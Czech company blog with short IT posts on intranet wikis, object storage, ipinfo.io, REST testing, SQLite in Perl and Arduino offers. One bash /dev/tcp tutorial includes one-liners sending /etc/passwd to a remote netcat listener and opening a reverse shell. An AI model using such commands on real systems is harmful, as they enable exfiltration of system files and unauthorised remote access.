Pro výrobní společnost Grammer CZ Tachov proběhl úspěšný vývoj a implementace intranetového portálu firemní Wikipedie včetně instalace a konfigurace virtuální Linux server v německém datacentru.
Intranetový portál umožňuje pohodlný centrální přístup k informacím, wiki, znalostní bázi, přibližuje obsahu cílovým skupinám, úsnaďnuje sdílení informací a interakci uživatelů. Pokračování textu Realizováno ! Intranetová Wikipedie Grammer CZ Tachov
! Nepropadejte panice !
Tradiční filesystémy a relační databáze zde budou s námi po mnoho dalších let o tom nemá smysl diskutovat, problém, ale vzniká dnes již na úrovni dat samotných, jsou totiž vysoce nestrukturovaná, bohužel nebo bohudík ?
Odhady říkají, že 80-90% dat kolem nás je nestrukturovaných, přesto se je snažíme popsat strukturou tabulek a relací, v nejhorším případě si uložíme string/json a ten si “žvýkáme” v aplikaci, otázka je zda-li je tento postup správný a nebojujeme proti vlastní “touze” dat být neorganizována.
Připomeňme si známý výrok Billa Jensena z knihy Simplicity.
Množství informací se zdvojnásobuje po každých 1100 dnech, tedy zhruba po třech letech, nicméně, čas, který nám zůstává k zpracování těchto narůstajících informací je stále stejný: 1440 minut denně".
Toto tvrzení bohužel již také není zcela platné, množství informace se zdvojnásobuje za polovinu času. :-(.
Strukturovaná data, ale mají stále a budou mít místo, jsou systémy, které generují “jen” tuto formu dat, senzory, čítače, čtečky, transakce, účto, sklady, … takové vše “bez lidí” z pohledu vývojářů je idylka, vše pevně zaškatulkováno, nikde nic nepřetéká, indexy indexují, ovšem reálný svět takový není.
NEstrukturovaná data jsou opačný extrémní protipól, svět plný chaosu jako kvantové fluktuace, je to náš svět takový jako jsou sami lidé, svět plný textů, audio a video obsahu, emailů, stránek, sociálna … je to “lidský” rozměr dat, pro vývojáře pekelný, nikdo přeci nechce “cpát” profilovou fotku či 100MB video jako blob do tabulky.
Tradiční pohled dnešních web aplikací je generování strukturovaného výstupu dat na základě uživatelského vstupu (formuláře/upload) a ukládání na tradiční úložiště (filesystém, relační databáze), doba se však mění a uživatelé k nám budou (chtějí) tlačit data, které nelze jednoduše rozbít do “chlívečků”, protože jejich struktuře nerozumíme, typický zástupce největšího zdroje těchto dat jsou sociální media.
Studie IDC z roku 2014 o nárůstu nestrukturovaných dat.
Proč “nová” objektová úložiště je zcela legitimní otázka, v první řadě je nutné pochopit (viz studie IDC), že internet je zaplavován masivním nárostem nestrukturovaných dat.
Je nutně změnit tedy přístup k těmto datům, je nutné je umět efektivně obsloužit, zvládnout je ukládat je jedna věc (zde by nebyl problém s klasickým filesystémem), ale většinou požadujeme další vlastnosti, snadný přístup, metadata, škálovatelnost (škálování relačních DB je obecně problém, distribuované FS mají své problémy), redundanci a výkon a flexibilitu (metadata nemohou mít pevnou strukturu tak jako to např. známe z filesystémů).
Objekt jako základ je elementární “struktura”, objekty nejsou na storage organizovány (flat), žádné adresáře ani hierarchie, objekt je reprezentován pouze svým ID, vyšší logiku, smysl, uspořádání zajišťuje aplikace a proto je důležité kvalitní API rozhraní, které je v těsnější integraci přímo s aplikací (aplikace “programuje”/řídí úložiště), z toho pohledu není překvapující, že některá cloud úložiště mají rozhraní přímo přes protokol HTTP/s (všimněte si, že filesystémy nebyly nikdo moc dobře stavěné na přístup přes HTTP/s).
Ilustrace filesystému, blokového a objektového úložiště.
Začít experimentovat je “snadné”, Amazon Web Services je cloud platforma jejíž součástí je i služba AWS S3 (Simple Storage Service), zajímavou alternativou na testing/vývoj je projekt Minio, což je minimalistický object storage s API kompatibilní s AWS S3.
Dalším zástupce je Google Cloud Storage, nemáme přímé zkušenosti, přednáška byla ovšem dost zajímavá, cenově asi “zatím” stále lépe než AWS, také si zatím hrajeme.
Z opensource možností projekt Ceph, distribuované objektové úložiště umožňující blokovou i file storage, predikuje se velká budoucnost, společnost RedHat koupila projekt Ceph a otevřela ho veřejnosti, předpokládá se integrace s platformou OpenStack a posazení vedle OpenStack Swift object storage, což je další open projekt storage řešení nebo můžete zkusit hodit oko na openio.io.
A to je vše, díky za pozornost.
František Havel, MOJEservery.cz
Linux mini-howto? Krátce o nástrojích ze života sysadmina.
Pro menší projekt jsme hledali jednoduché řešení realizace IP address look/whois/geolokace a to nejlépe formou služby s jednoduchým API, k ruce nám velmi vhod přišla právě mikroslužba ipinfo.io, zřejmě by to šlo vše realizovat svépomocí, ale máme rok 2016 tak proč se trápit.
Protože na více místech používáme RabbitMQ (message broker, fronty, zprávy) a opravdu čas se s tímto konceptem naučit se již vyplatil, nebyl velký problém napsat si vlastní službu na vyřizování požadavků z fronty “rabbit whois” nad ipinfo.io, hlavní app je neinteraktivní a pouze přehazuje do fronty požadavky a nepotřebuje okamžitě odpověd, triviální.
Pohodlná služba s jednoduchým API, vrací výsledky v JSON (lze se i ptát v JSON), k dotazům lze použít vše co rozumí http protokolu (v placené variantě i https), základní verze je zdarma do 1000 dotazů/den, prostě super, nic více nepožadujeme, máme max. pár desítek požadavku za den a pokud se neplatu ipinfo běží na AWS.
Ukázka a více na http://ipinfo.io/developers.
ip@ip:~$ curl ipinfo.io/8.8.8.8
{
"ip": "8.8.8.8",
"hostname": "google-public-dns-a.google.com",
"city": "Mountain View",
"region": "California",
"country": "US",
"loc": "37.3860,-122.0838",
"org": "AS15169 Google Inc.",
"postal": "94035"
}
http://ipinfo.io/developers/tools
Pěkná služba, děkujeme.
MOJEservery.cz
API, API, API (Application Programming Interface) je takové zaklínadlo dnešní doby, pokud služba/aplikace nedisponuje rozhraním pro komunikaci je vyřízená, nebrat doslovně, pojem API aby zde byl mnohem dříve než z něho web stihl udělat buzzword, konec konců už i DOS měl své API v podobě přerušení int 21h, služby BIOSu jsou API, systémová volání v moderních systémech nejsou nic jiného než opět API.
REST představuje jeden z konceptů (architektur) je vytvořit rozhraní, je postavená nad volání metod protokolem HTTP, datově orientované a masivně používané, oblíbené.
Malý pomocník, taky pomocník ...
ARC je aplikaci běžící uvnitř prohlížeče Chrome a dovoluje pohodlné odzkoušení API rozhraní, dříve jsme měli postup otestovat funkčnost a chování API pomocí jednoduchého řádkového klienta curl (a je stále dobré to umět, rozumět, lze to scriptovat a průběžně tak testovat) ještě předtím než zavoláte composer, požádáte ho o Guzzle a začnete “čarovat”.
“Absolutní výcuc” vyšel před lety na serveru Codingpedia.org.
http://www.codingpedia.org/ama/how-to-test-a-rest-api-from-command-line-with-curl/
Proč dát ARC šanci ?
Užívejte moudře, děkujeme za pozornost.
MOJEservery.cz
Oficiální kniha Raspberry Pi projektů 2015 je venku, 200 stránek nápadů, inspirací a návodů Vás motivují a pomohou Vám s Vašim novým projektem, vhodné pro děti, výuku, učitelé, vzdělání a vše za tu nejlepší cenu, zdarma ve formátu pdf, elektronická verze také dostupná obchodech Google Play a Apple store.
https://raspberrypi.org/magpi-issues/Projects_Book_v1.pdf
Kniha Vám pomůže a ukáže jak rychle začít s malinou, provede Vás instalací systému, nastavením, ukáže zajímavé realizované projekty, tutoriály (návody), recenze, namátkou vybráno.
Poskytujeme technickou podporu na minipočítač Raspberry Pi a Arduino , pomoc s rozběhnutím, instalace, zaškolení, workshopy pro zájemce a nedílnou součástí je i vývoj software/hardware a řešení postavená na embedded platformou Raspberry Pi, nebojte se nas kontaktovat.
http://www.mojeservery.cz/raspberrypi/
Linux mini-howto? Krátce o nástrojích ze života sysadmina.
Věděli jste, že bash obsahuje build-in (vestavěné) BSD socket rozhraní dostupné skrze /dev/tcp? Pseudo zařízení slouží v bashi pro přímou interakci s TCP socketem.
havel@havel-machine:~$ exec 5<>/dev/tcp/havel.mojeservery.cz/80 havel@havel-machine:~$ echo -e "GET / HTTP/1.0\n" >&5 havel@havel-machine:~$ cat <&5 | head -n 10 HTTP/1.1 200 OK Server: nginx/1.2.1 Date: Tue, 01 Sep 2015 14:41:44 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/5.4.41-0+deb7u1 Vary: Accept-Encoding, Cookie Cache-Control: max-age=3, must-revalidate WP-Super-Cache: Served supercache file from PHP
havel@havel-machine:~$ cat </dev/tcp/time.nist.gov/13 57266 15-09-01 14:37:16 50 0 0 816.9 UTC(NIST) *
# Na své stroji si rozjeďte netcat root@www:/root# nc -l -p 8888 # Pošlete si co potřebujete k sobě havel@havel-machine:~$ cat /etc/passwd > /dev/tcp/havel.mojeservery.cz/8888
# Reverse shell # Na své stroji si rozjeďte netcat root@www:/root# nc -l -p 8888 havel@havel-machine:~$ bash -i >& /dev/tcp/havel.mojeservery.cz/8888 0>&1 # havel@havel-machine:~$ pwd pwd /home/havel
Pozn.: bash je nutné zkomplikovat s volbou (--enable-net-redirections).
Užívejte moudře a opatrně, díky za pozornost.
František Havel, MOJEservery.cz
Buďte kreativní, rozviňte výjimečný potenciál sebe i svých dětí, nabízíme Vám unikátní příležitost, nabízíme Vám platformu Arduino včetně možnosti školení za atraktivní ceny, poprvé skladem k osobnímu převzetí Tachov, Planá, Mariánské Lázně.
Objevte dokonalost a ještě dnes můžete mít Arduino u sebe, poštou expedujeme 24hodin (zpravidla druhý den u Vás).
! Připravuje od září 2015 jednoduchý eshop s Arduino a Raspberry Pi !
Pro zájemce, jednotlivce i skupiny nabízíme možnost zaškolení do platformy Arduino, krátký praktický workshop Vám pomůže objevit kouzlo chytré elektroniky.
! Připravuje pro Vás jednoduché start-up video jak rychle začít s Arduino platformou !
Možnost osobního odběru Tachov, Planá, Mariánské Lázně nebo poštou pro přespolní za přijatelných 40Kč.
SQLite je transakční databázových systém, s nulovou konfigurací, bez serverové části, jednoduchý, kompaktní, lehký design, postavený nad souborovým systémem respektive souborem.
SQLite je velmi populární, né vždy je totiž nutné a hlavně možné nasadit plnohodnotný klient-server SQL server (Mariandb, Postgres) ale mít po ruce možnost a výhody sql nad souborem se často hodí (např. i v systému Android).
Ve své podstatě jde o implementaci relačního databázového systému a standardu SQL-92 realizovaného v jazyce C (mimochodem zajímavě napsaná knihovna s implementací objektů pomocí struktur, pointerů).
Velmi často se používá SQLite v jazyce Perl přes knihovnu DBI, ukažme si základní snippet ve kterém bude vše co je potřeba pro práci s touto databází.
root@havel-machine:~# apt-get install sqlite3 libdbd-sqlite3-perl
root@havel-machine:~# yum install sqlite perl-DBD-SQLite
#!/usr/bin/perl
use DBI;
use strict;
my $driver = "SQLite";
my $db_name = "sqlite.db";
my $dbd = "DBI:$driver:dbname=$db_name";
# sqlite nepoužívý jméno a heslo
my $username = "";
my $password = "";
# vytvoříme a připojíme se db
# zároveň dojte k vytvoření souboru databáze sqlite.db
my $dbh = DBI->connect($dbd, $username, $password, { RaiseError => 1 }) or die $DBI::errstr;
# vytvoříme tabulku
my $stmt = qq(CREATE TABLE IF NOT EXISTS NETWORK
(ID INTEGER PRIMARY KEY AUTOINCREMENT,
HOSTNAME TEXT NOT NULL,
OS CHAR(50),
CPULOAD REAL););
# provedeme dotaz
my $ret = $dbh->do($stmt);
if($ret < 0) { print STDERR $DBI::errstr; }
else { print STDERR "Tabulka vytvořena\n"; }
# vložíme řádky do tabulky
$stmt = qq(INSERT INTO NETWORK (HOSTNAME,OS,CPULOAD)
VALUES ('linux-01', 'Debian 8', 0.0));
$ret = $dbh->do($stmt) or die $DBI::errstr;
$stmt = qq(INSERT INTO NETWORK (HOSTNAME,OS,CPULOAD)
VALUES ('linux-02', 'CentOS 7', 0.0));
$ret = $dbh->do($stmt) or die $DBI::errstr;
$stmt = qq(INSERT INTO NETWORK (HOSTNAME,OS,CPULOAD)
VALUES ('windows-01', 'Windows Server 2012', 0.0));
$ret = $dbh->do($stmt) or die $DBI::errstr;
# získání dat z tabulky a výpis
$stmt = qq(SELECT id, hostname, os, cpuload from NETWORK;);
my $obj = $dbh->prepare($stmt);
$ret = $obj->execute() or die $DBI::errstr;
if($ret < 0) { print STDERR $DBI::errstr; } while(my @row = $obj->fetchrow_array()) {
print "ID: ". $row[0] . "\n";
print "HOSTNAME: ". $row[1] ."\n";
print "OS: ". $row[2] ."\n";
print "CPULOAD: ". $row[3] ."\n\n";
}
# změna záznamu
$stmt = qq(UPDATE NETWORK set CPULOAD = 50 where OS='CentOS 7';);
$ret = $dbh->do($stmt) or die $DBI::errstr;
if( $ret < 0 ) { print STDERR $DBI::errstr; }
else { print STDERR "Aktualizováno $ret řádků\n"; }
# smazání
$stmt = qq(DELETE from NETWORK where ID=2;);
$ret = $dbh->do($stmt) or die $DBI::errstr;
if($ret < 0) { print STDERR $DBI::errstr; }
else { print STDERR "Smazáno $ret řádků\n"; }
# Odpojení databáze
$dbh->disconnect();
Jak je vidět z příkladu použití je skutečně jednoduché a přímočaré, nebojte se ho vyzkoušet ve svých projektech, mnoho lidí do startu špatně odhadne požadavky a SQLite je tím pádem neprávem ignorováno jako něco podřadného, přejít na “vyšší” databáze z SQLite je triviální.
Knihovny (binding) existuje pro celou řadu programovacích jazyků kromě uvedeného Perl, např. C/C++, Python, Lua, PHP, ale např. i Delphi a další.
SQLite není okrajový zapadlý projekt, je integrován přímo do systému Android pro uložení persistentních dat, používá ho iPhone nebo společnost Airbus ve svém software či firma Adobe, Bosh, Dropbox. (https://www.sqlite.org/famous.html)
SQLite používám rád, přemýšlejte o něm.
František Havel
Hledáte řádkově orientovaný, jednoduchý a přitom schopný nástroj pro odesílání emailů z Vašich skriptů?
Zkuste smtp-cli, autorem je tuzemský vývojář Michal Ludvig (logix).
SMTP-CLI (smtp-client, smtp-command line interface) je smtp klient/nástroj napsaný v jazyce Perl (jeden samostatný soubor, ~ 30kb) s podporou pro:
Instalaci,popis nasazení, ukázky nejlépe popisují přímo stránky smtp-cli a github.
http://www.logix.cz/michal/devel/smtp-cli/ https://github.com/mludvig/smtp-cli Podpořte autora skrz Paypal.
Dnes to bylo rychlé, díky za Váš čas. František Havel
